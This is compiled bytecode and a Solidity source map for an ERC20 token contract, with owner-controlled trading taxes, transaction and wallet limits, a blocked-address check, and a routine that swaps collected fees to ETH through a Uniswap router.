0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105385760405162461bcd60e51b81526004016104be90611701565b6105446009600a6116dc565b61055290633b9aca006116ea565b600e556105616009600a6116dc565b61056f90633b9aca006116ea565b600f55601480546005546001600160a01b03166001600160a81b03199091161790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105be6009600a6116dc565b6105cc90633b9aca006116ea565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106085760405162461bcd60e51b81526004016104be90611701565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f1935050505015801561063f573d5f803e3d5ffd5b50565b5f546001600160a01b0316331461066b5760405162461bcd60e51b81526004016104be90611701565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b49030906106a66009600a6116dc565b61048690633b9aca006116ea565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610704573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107289190611736565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610787573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ab9190611736565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107f5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108199190611736565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b5f610404338484610ad8565b5f546001600160a01b031633146108705760405162461bcd60e51b81526004016104be90611701565b601354600160a01b900460ff16156108ca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b6012546001600160a01b031663f305d71947306108fb816001600160a01b03165f9081526001602052604090205490565b5f8061090e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610974573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109999190611751565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610a175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b038216610a785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b5f8111610bff5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b6013545f90600160b01b900460ff161580610c235750601354600160a81b900460ff165b15610cdb576001600160a01b0384165f90815260016020526040902054610c4b90839061177c565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c7a90839061178f565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ccd9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d0557505f546001600160a01b03848116911614155b15610ffb576001600160a01b0384165f9081526004602052604090205460ff16158015610d4a57506001600160a01b0383165f9081526004602052604090205460ff16155b610d52575f80fd5b610d7e6064610d78600a54600d5411610d6d57600654610d71565b6008545b8590611167565b906111ec565b6013549091506001600160a01b038581169116148015610dac57506012546001600160a01b03848116911614155b8015610dd057506001600160a01b0383165f9081526003602052604090205460ff16155b15610eb657600e54821115610e275760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104be565b600f5482610e49856001600160a01b03165f9081526001602052604090205490565b610e53919061178f565b1115610ea15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104be565b600d8054905f610eb0836117a2565b91905055505b6013546001600160a01b038481169116148015610edc57506001600160a01b0384163014155b15610f1457610f066064610d78600b54600d5411610efc57600754610d71565b6009548590611167565b905047610f124761122d565b505b305f90815260016020526040902054601354600160a81b900460ff16158015610f4a57506013546001600160a01b038581169116145b8015610f5f5750601354600160b01b900460ff165b8015610f6c575060105481115b8015610f7b5750600c54600d54115b15610ff957601454600160a01b900460ff1615610fd457436015541015610fcf57610fb9610fb484610faf84601154611268565b611268565b61127c565b478015610fc957610fc94761122d565b50436015555b610ff9565b610fe7610fb484610faf84601154611268565b478015610ff757610ff74761122d565b505b505b801561107357305f9081526001602052604090205461101a90826113ec565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061106a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611095908361144a565b6001600160a01b0385165f908152600160205260409020556110d86110ba838361144a565b6001600160a01b0385165f90815260016020526040902054906113ec565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611121858561144a565b604051908152602001610ccd565b5f81848411156111525760405162461bcd60e51b81526004016104be91906114b7565b505f61115e848661177c565b95945050505050565b5f825f0361117657505f610408565b5f61118183856116ea565b90508261118e85836117ba565b146111e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b9392505050565b5f6111e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061148b565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611264573d5f803e3d5ffd5b5050565b5f81831161127657826111e5565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112c2576112c26117d9565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611319573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061133d9190611736565b81600181518110611350576113506117d9565b6001600160a01b03928316602091820292909201015260125461137691309116846109b5565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ae9085905f908690309042906004016117ed565b5f604051808303815f87803b1580156113c5575f80fd5b505af11580156113d7573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b5f806113f8838561178f565b9050838110156111e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104be565b5f6111e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061112f565b5f81836114ab5760405162461bcd60e51b81526004016104be91906114b7565b505f61115e84866117ba565b5f602080835283518060208501525f5b818110156114e3578581018301518582016040015282016114c7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063f575f80fd5b5f8060408385031215611528575f80fd5b823561153381611503565b946020939093013593505050565b5f805f60608486031215611553575f80fd5b833561155e81611503565b9250602084013561156e81611503565b929592945050506040919091013590565b5f6020828403121561158f575f80fd5b5035919050565b5f602082840312156115a6575f80fd5b81356111e581611503565b5f80604083850312156115c2575f80fd5b82356115cd81611503565b915060208301356115dd81611503565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163657815f190482111561161c5761161c6115e8565b8085161561162957918102915b93841c9390800290611601565b509250929050565b5f8261164c57506001610408565b8161165857505f610408565b816001811461166e576002811461167857611694565b6001915050610408565b60ff841115611689576116896115e8565b50506001821b610408565b5060208310610133831016604e8410600b84101617156116b7575081810a610408565b6116c183836115fc565b805f19048211156116d4576116d46115e8565b029392505050565b5f6111e560ff84168361163e565b8082028115828204841417610408576104086115e8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611746575f80fd5b81516111e581611503565b5f805f60608486031215611763575f80fd5b8351925060208401519150604084015190509250925092565b81810381811115610408576104086115e8565b80820180821115610408576104086115e8565b5f600182016117b3576117b36115e8565b5060010190565b5f826117d457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561183d5784516001600160a01b031683529383019391830191600101611818565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208cf2624beccc32cf41d775b56b50378d56ed2d70b5f39ea89a603dc70cae3a5864736f6c63430008180033

3804:8469:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5763:83;;;;;;;;;;-1:-1:-1;5833:5:0;;;;;;;;;;;;;;;;;;5763:83;;;;;;;:::i;:::-;;;;;;;;6596:161;;;;;;;;;;-1:-1:-1;6596:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6596:161:0;1023:187:1;4896:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4896:45:0;1215:177:1;6040:95:0;;;;;;;;;;;;;:::i;6765:313::-;;;;;;;;;;-1:-1:-1;6765:313:0;;;;;:::i;:::-;;:::i;4844:45::-;;;;;;;;;;;;;;;;5949:83;;;;;;;;;;-1:-1:-1;5949:83:0;;4521:1;2000:36:1;;1988:2;1973:18;5949:83:0;1858:184:1;11385:191:0;;;;;;;;;;-1:-1:-1;11385:191:0;;;;;:::i;:::-;11457:13;;11508:11;;-1:-1:-1;;;;;11457:13:0;;;11441;11531:18;;;:11;:18;;;;;;;;11508:11;;;;11531:28;;;;;;;:37;11385:191;;;4786:51;;;;;;;;;;;;;;;;6143:119;;;;;;;;;;-1:-1:-1;6143:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6236:18:0;6209:7;6236:18;;;:9;:18;;;;;;;6143:119;3521:148;;;;;;;;;;;;;:::i;10933:229::-;;;;;;;;;;;;;:::i;4732:47::-;;;;;;;;;;;;;;;;3307:79;;;;;;;;;;-1:-1:-1;3345:7:0;3372:6;3307:79;;-1:-1:-1;;;;;3372:6:0;;;2630:51:1;;2618:2;2603:18;3307:79:0;2484:203:1;11270:107:0;;;;;;;;;;;;;:::i;5854:87::-;;;;;;;;;;-1:-1:-1;5926:7:0;;;;;;;;;;;;-1:-1:-1;;;5926:7:0;;;;5854:87;;11621:333;;;;;;;;;;;;;:::i;6270:167::-;;;;;;;;;;-1:-1:-1;6270:167:0;;;;;:::i;:::-;;:::i;11962:308::-;;;;;;;;;;;;;:::i;6445:143::-;;;;;;;;;;-1:-1:-1;6445:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6553:18:0;;;6526:7;6553:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6445:143;6596:161;6671:4;6688:39;1142:10;6711:7;6720:6;6688:8;:39::i;:::-;-1:-1:-1;6745:4:0;6596:161;;;;;:::o;6040:95::-;6093:7;4577:13;4521:1;4577:2;:13;:::i;:::-;4564:26;;:10;:26;:::i;:::-;6113:14;;6040:95;:::o;6765:313::-;6863:4;6880:36;6890:6;6898:9;6909:6;6880:9;:36::i;:::-;6927:121;6936:6;1142:10;6958:89;6996:6;6958:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6958:19:0;;;;;;:11;:19;;;;;;;;1142:10;6958:33;;;;;;;;;;:37;:89::i;:::-;6927:8;:121::i;:::-;-1:-1:-1;7066:4:0;6765:313;;;;;:::o;3521:148::-;3434:6;;-1:-1:-1;;;;;3434:6:0;1142:10;3434:22;3426:67;;;;-1:-1:-1;;;3426:67:0;;;;;;;:::i;:::-;;;;;;;;;3628:1:::1;3612:6:::0;;3591:40:::1;::::0;-1:-1:-1;;;;;3612:6:0;;::::1;::::0;3591:40:::1;::::0;3628:1;;3591:40:::1;3659:1;3642:19:::0;;-1:-1:-1;;;;;;3642:19:0::1;::::0;;3521:148::o;10933:229::-;3434:6;;-1:-1:-1;;;;;3434:6:0;1142:10;3434:22;3426:67;;;;-1:-1:-1;;;3426:67:0;;;;;;;:::i;:::-;4577:13:::1;4521:1;4577:2;:13;:::i;:::-;4564:26;::::0;:10:::1;:26;:::i;:::-;10987:12;:22:::0;4577:13:::1;4521:1;4577:2;:13;:::i;:::-;4564:26;::::0;:10:::1;:26;:::i;:::-;11020:16;:24:::0;11055:13:::1;:21:::0;;11101:10:::1;::::0;-1:-1:-1;;;;;11101:10:0::1;-1:-1:-1::0;;;;;;11087:24:0;;;::::1;::::0;;11127:27:::1;4577:13;4521:1;4577:2;:13;:::i;:::-;4564:26;::::0;:10:::1;:26;:::i;:::-;11127:27;::::0;1361:25:1;;;1349:2;1334:18;11127:27:0::1;;;;;;;10933:229::o:0;11270:107::-;3434:6;;-1:-1:-1;;;;;3434:6:0;1142:10;3434:22;3426:67;;;;-1:-1:-1;;;3426:67:0;;;;;;;:::i;:::-;3345:7;3372:6;;11321:48:::1;::::0;-1:-1:-1;;;;;3372:6:0;;;;11347:21:::1;11321:48:::0;::::1;;;::::0;11347:21;;11321:48;3345:7;11321:48;11347:21;3372:6;11321:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11270:107::o:0;11621:333::-;3434:6;;-1:-1:-1;;;;;3434:6:0;1142:10;3434:22;3426:67;;;;-1:-1:-1;;;3426:67:0;;;;;;;:::i;:::-;11676:15:::1;:80:::0;;-1:-1:-1;;;;;;11676:80:0::1;11713:42;11676:80:::0;;::::1;::::0;;;11767:58:::1;::::0;11784:4:::1;::::0;4577:13:::1;4521:1;4577:2;:13;:::i;:::-;4564:26;::::0;:10:::1;:26;:::i;11767:58::-;11870:15;;;;;;;;;-1:-1:-1::0;;;;;11870:15:0::1;-1:-1:-1::0;;;;;11870:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11852:55:0::1;;11916:4;11923:15;;;;;;;;;-1:-1:-1::0;;;;;11923:15:0::1;-1:-1:-1::0;;;;;11923:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11852:94;::::0;-1:-1:-1;;;;;;11852:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5614:15:1;;;11852:94:0::1;::::0;::::1;5596:34:1::0;5666:15;;5646:18;;;5639:43;5531:18;;11852:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11836:13;:110:::0;;-1:-1:-1;;;;;;11836:110:0::1;-1:-1:-1::0;;;;;11836:110:0;;;::::1;::::0;;;::::1;::::0;;11621:333::o;6270:167::-;6348:4;6365:42;1142:10;6389:9;6400:6;6365:9;:42::i;11962:308::-;3434:6;;-1:-1:-1;;;;;3434:6:0;1142:10;3434:22;3426:67;;;;-1:-1:-1;;;3426:67:0;;;;;;;:::i;:::-;12026:11:::1;::::0;-1:-1:-1;;;12026:11:0;::::1;;;12025:12;12017:47;;;::::0;-1:-1:-1;;;12017:47:0;;5895:2:1;12017:47:0::1;::::0;::::1;5877:21:1::0;5934:2;5914:18;;;5907:30;5973:25;5953:18;;;5946:53;6016:18;;12017:47:0::1;5693:347:1::0;12017:47:0::1;12075:15;::::0;-1:-1:-1;;;;;12075:15:0::1;:31;12114:21;12145:4;12151:24;12145:4:::0;-1:-1:-1;;;;;6236:18:0;6209:7;6236:18;;;:9;:18;;;;;;;6143:119;12151:24:::1;12176:1;12178::::0;12180:7:::1;3345::::0;3372:6;-1:-1:-1;;;;;3372:6:0;;3307:79;12180:7:::1;12075:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12075:129:0;;;-1:-1:-1;;;;;6404:15:1;;;12075:129:0::1;::::0;::::1;6386:34:1::0;6436:18;;;6429:34;;;;6479:18;;;6472:34;;;;6522:18;;;6515:34;6586:15;;;6565:19;;;6558:44;12188:15:0::1;6618:19:1::0;;;6611:35;6320:19;;12075:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12215:11:0::1;:18:::0;;-1:-1:-1;;;;12244:18:0;-1:-1:-1;;;12244:18:0;;;-1:-1:-1;11962:308:0:o;7086:335::-;-1:-1:-1;;;;;7179:19:0;;7171:68;;;;-1:-1:-1;;;7171:68:0;;7170:2:1;7171:68:0;;;7152:21:1;7209:2;7189:18;;;7182:30;7248:34;7228:18;;;7221:62;-1:-1:-1;;;7299:18:1;;;7292:34;7343:19;;7171:68:0;6968:400:1;7171:68:0;-1:-1:-1;;;;;7258:21:0;;7250:68;;;;-1:-1:-1;;;7250:68:0;;7575:2:1;7250:68:0;;;7557:21:1;7614:2;7594:18;;;7587:30;7653:34;7633:18;;;7626:62;-1:-1:-1;;;7704:18:1;;;7697:32;7746:19;;7250:68:0;7373:398:1;7250:68:0;-1:-1:-1;;;;;7329:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7381:32;;1361:25:1;;;7381:32:0;;1334:18:1;7381:32:0;;;;;;;7086:335;;;:::o;7429:2899::-;-1:-1:-1;;;;;7517:18:0;;7509:68;;;;-1:-1:-1;;;7509:68:0;;7978:2:1;7509:68:0;;;7960:21:1;8017:2;7997:18;;;7990:30;8056:34;8036:18;;;8029:62;-1:-1:-1;;;8107:18:1;;;8100:35;8152:19;;7509:68:0;7776:401:1;7509:68:0;-1:-1:-1;;;;;7596:16:0;;7588:64;;;;-1:-1:-1;;;7588:64:0;;8384:2:1;7588:64:0;;;8366:21:1;8423:2;8403:18;;;8396:30;8462:34;8442:18;;;8435:62;-1:-1:-1;;;8513:18:1;;;8506:33;8556:19;;7588:64:0;8182:399:1;7588:64:0;7680:1;7671:6;:10;7663:64;;;;-1:-1:-1;;;7663:64:0;;8788:2:1;7663:64:0;;;8770:21:1;8827:2;8807:18;;;8800:30;8866:34;8846:18;;;8839:62;-1:-1:-1;;;8917:18:1;;;8910:39;8966:19;;7663:64:0;8586:405:1;7663:64:0;7772:11;;7738:16;;-1:-1:-1;;;7772:11:0;;;;7771:12;;:22;;-1:-1:-1;7787:6:0;;-1:-1:-1;;;7787:6:0;;;;7771:22;7767:217;;;-1:-1:-1;;;;;7828:15:0;;;;;;:9;:15;;;;;;:24;;7846:6;;7828:24;:::i;:::-;-1:-1:-1;;;;;7810:15:0;;;;;;;:9;:15;;;;;;:42;;;;7883:13;;;;;;;:22;;7899:6;;7883:22;:::i;:::-;-1:-1:-1;;;;;7867:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7925:26;;;;;;;;;;7944:6;1361:25:1;;1349:2;1334:18;;1215:177;7925:26:0;;;;;;;;7966:7;7429:2899;;;:::o;7767:217::-;3345:7;3372:6;-1:-1:-1;;;;;7998:15:0;;;3372:6;;7998:15;;;;:32;;-1:-1:-1;3345:7:0;3372:6;-1:-1:-1;;;;;8017:13:0;;;3372:6;;8017:13;;7998:32;7994:1982;;;-1:-1:-1;;;;;8056:11:0;;;;;;:5;:11;;;;;;;;8055:12;:26;;;;-1:-1:-1;;;;;;8072:9:0;;;;;;:5;:9;;;;;;;;8071:10;8055:26;8047:35;;;;;;8108:78;8182:3;8108:69;8135:12;;8120:14;;:27;8119:57;;8162:14;;8119:57;;;8149:12;;8119:57;8108:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8215:13;;8097:89;;-1:-1:-1;;;;;;8207:21:0;;;8215:13;;8207:21;:55;;;;-1:-1:-1;8246:15:0;;-1:-1:-1;;;;;8232:30:0;;;8246:15;;8232:30;;8207:55;:84;;;;-1:-1:-1;;;;;;8268:23:0;;;;;;:19;:23;;;;;;;;8266:25;8207:84;8203:321;;;8331:12;;8321:6;:22;;8313:60;;;;-1:-1:-1;;;8313:60:0;;9461:2:1;8313:60:0;;;9443:21:1;9500:2;9480:18;;;9473:30;9539:27;9519:18;;;9512:55;9584:18;;8313:60:0;9259:349:1;8313:60:0;8426:16;;8416:6;8400:13;8410:2;-1:-1:-1;;;;;6236:18:0;6209:7;6236:18;;;:9;:18;;;;;;;6143:119;8400:13;:22;;;;:::i;:::-;:42;;8392:81;;;;-1:-1:-1;;;8392:81:0;;9815:2:1;8392:81:0;;;9797:21:1;9854:2;9834:18;;;9827:30;9893:28;9873:18;;;9866:56;9939:18;;8392:81:0;9613:350:1;8392:81:0;8492:14;:16;;;:14;:16;;;:::i;:::-;;;;;;8203:321;8549:13;;-1:-1:-1;;;;;8543:19:0;;;8549:13;;8543:19;:43;;;;-1:-1:-1;;;;;;8566:20:0;;8581:4;8566:20;;8543:43;8540:368;;;8618:81;8695:3;8618:72;8645:13;;8630:14;;:28;8629:60;;8674:15;;8629:60;;;8660:13;;8618:6;;:10;:72::i;:81::-;8607:92;-1:-1:-1;8747:21:0;8838:35;8851:21;8838:12;:35::i;:::-;8588:320;8540:368;8973:4;8924:28;6236:18;;;:9;:18;;;;;;8999:6;;-1:-1:-1;;;8999:6:0;;;;8998:7;:32;;;;-1:-1:-1;9017:13:0;;-1:-1:-1;;;;;9009:21:0;;;9017:13;;9009:21;8998:32;:47;;;;-1:-1:-1;9034:11:0;;-1:-1:-1;;;9034:11:0;;;;8998:47;:83;;;;;9070:11;;9049:20;:32;8998:83;:115;;;;;9100:13;;9085:14;;:28;8998:115;8994:971;;;9138:13;;-1:-1:-1;;;9138:13:0;;;;9134:816;;;9196:12;9180:13;;:28;9176:431;;;9237:67;9254:49;9258:6;9265:37;9269:20;9290:11;;9265:3;:37::i;:::-;9254:3;:49::i;:::-;9237:16;:67::i;:::-;9360:21;9411:22;;9408:121;;9466:35;9479:21;9466:12;:35::i;:::-;-1:-1:-1;9571:12:0;9555:13;:28;9176:431;9134:816;;;9655:67;9672:49;9676:6;9683:37;9687:20;9708:11;;9683:3;:37::i;9655:67::-;9774:21;9821:22;;9818:113;;9872:35;9885:21;9872:12;:35::i;:::-;9632:318;9134:816;8032:1944;7994:1982;9991:10;;9988:159;;10058:4;10040:24;;;;:9;:24;;;;;;:38;;10069:8;10040:28;:38::i;:::-;10033:4;10015:24;;;;:9;:24;;;;;;;:63;;;;10096:39;;-1:-1:-1;;;;;10096:39:0;;;;;;;10126:8;1361:25:1;;1349:2;1334:18;;1215:177;10096:39:0;;;;;;;;9988:159;-1:-1:-1;;;;;10173:15:0;;;;;;:9;:15;;;;;;:27;;10193:6;10173:19;:27::i;:::-;-1:-1:-1;;;;;10157:15:0;;;;;;:9;:15;;;;;:43;10225:39;10243:20;:6;10254:8;10243:10;:20::i;:::-;-1:-1:-1;;;;;10225:13:0;;;;;;:9;:13;;;;;;;:17;:39::i;:::-;-1:-1:-1;;;;;10211:13:0;;;;;;;:9;:13;;;;;:53;;;;10280:40;;;10299:20;:6;10310:8;10299:10;:20::i;:::-;10280:40;;1361:25:1;;;1349:2;1334:18;10280:40:0;1215:177:1;2199:190:0;2285:7;2321:12;2313:6;;;;2305:29;;;;-1:-1:-1;;;2305:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2345:9:0;2357:5;2361:1;2357;:5;:::i;:::-;2345:17;2199:190;-1:-1:-1;;;;;2199:190:0:o;2397:246::-;2455:7;2479:1;2484;2479:6;2475:47;;-1:-1:-1;2509:1:0;2502:8;;2475:47;2532:9;2544:5;2548:1;2544;:5;:::i;:::-;2532:17;-1:-1:-1;2577:1:0;2568:5;2572:1;2532:17;2568:5;:::i;:::-;:10;2560:56;;;;-1:-1:-1;;;2560:56:0;;10532:2:1;2560:56:0;;;10514:21:1;10571:2;10551:18;;;10544:30;10610:34;10590:18;;;10583:62;-1:-1:-1;;;10661:18:1;;;10654:31;10702:19;;2560:56:0;10330:397:1;2560:56:0;2634:1;2397:246;-1:-1:-1;;;2397:246:0:o;2651:132::-;2709:7;2736:39;2740:1;2743;2736:39;;;;;;;;;;;;;;;;;:3;:39::i;11170:92::-;11227:10;;:27;;-1:-1:-1;;;;;11227:10:0;;;;:27;;;;;11247:6;;11227:10;:27;:10;:27;11247:6;11227:10;:27;;;;;;;;;;;;;;;;;;;;;11170:92;:::o;10336:98::-;10393:7;10420:1;10418;:3;10417:9;;10425:1;10417:9;;;-1:-1:-1;10423:1:0;10336:98;-1:-1:-1;10336:98:0:o;10442:483::-;5339:6;:13;;-1:-1:-1;;;;5339:13:0;-1:-1:-1;;;5339:13:0;;;10544:16:::1;::::0;;10558:1:::1;10544:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10544:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10544:16:0::1;10520:40;;10589:4;10571;10576:1;10571:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10571:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10615:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10615:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10571:7;;10615:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10605:4;10610:1;10605:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10605:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10680:15:::1;::::0;10648:62:::1;::::0;10665:4:::1;::::0;10680:15:::1;10698:11:::0;10648:8:::1;:62::i;:::-;10721:15;::::0;:196:::1;::::0;-1:-1:-1;;;10721:196:0;;-1:-1:-1;;;;;10721:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10802:11;;10721:15:::1;::::0;10844:4;;10871::::1;::::0;10891:15:::1;::::0;10721:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5375:6:0;:14;;-1:-1:-1;;;;5375:14:0;;;-1:-1:-1;;;;10442:483:0:o;1868:179::-;1926:7;;1958:5;1962:1;1958;:5;:::i;:::-;1946:17;;1987:1;1982;:6;;1974:46;;;;-1:-1:-1;;;1974:46:0;;12183:2:1;1974:46:0;;;12165:21:1;12222:2;12202:18;;;12195:30;12261:29;12241:18;;;12234:57;12308:18;;1974:46:0;11981:351:1;2055:136:0;2113:7;2140:43;2144:1;2147;2140:43;;;;;;;;;;;;;;;;;:3;:43::i;2791:189::-;2877:7;2912:12;2905:5;2897:28;;;;-1:-1:-1;;;2897:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2936:9:0;2948:5;2952:1;2948;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:416;3306:1;3343:5;3306:1;3357:270;3378:7;3368:8;3365:21;3357:270;;;3437:4;3433:1;3429:6;3425:17;3419:4;3416:27;3413:53;;;3446:18;;:::i;:::-;3496:7;3486:8;3482:22;3479:55;;;3516:16;;;;3479:55;3595:22;;;;3555:15;;;;3357:270;;;3361:3;3217:416;;;;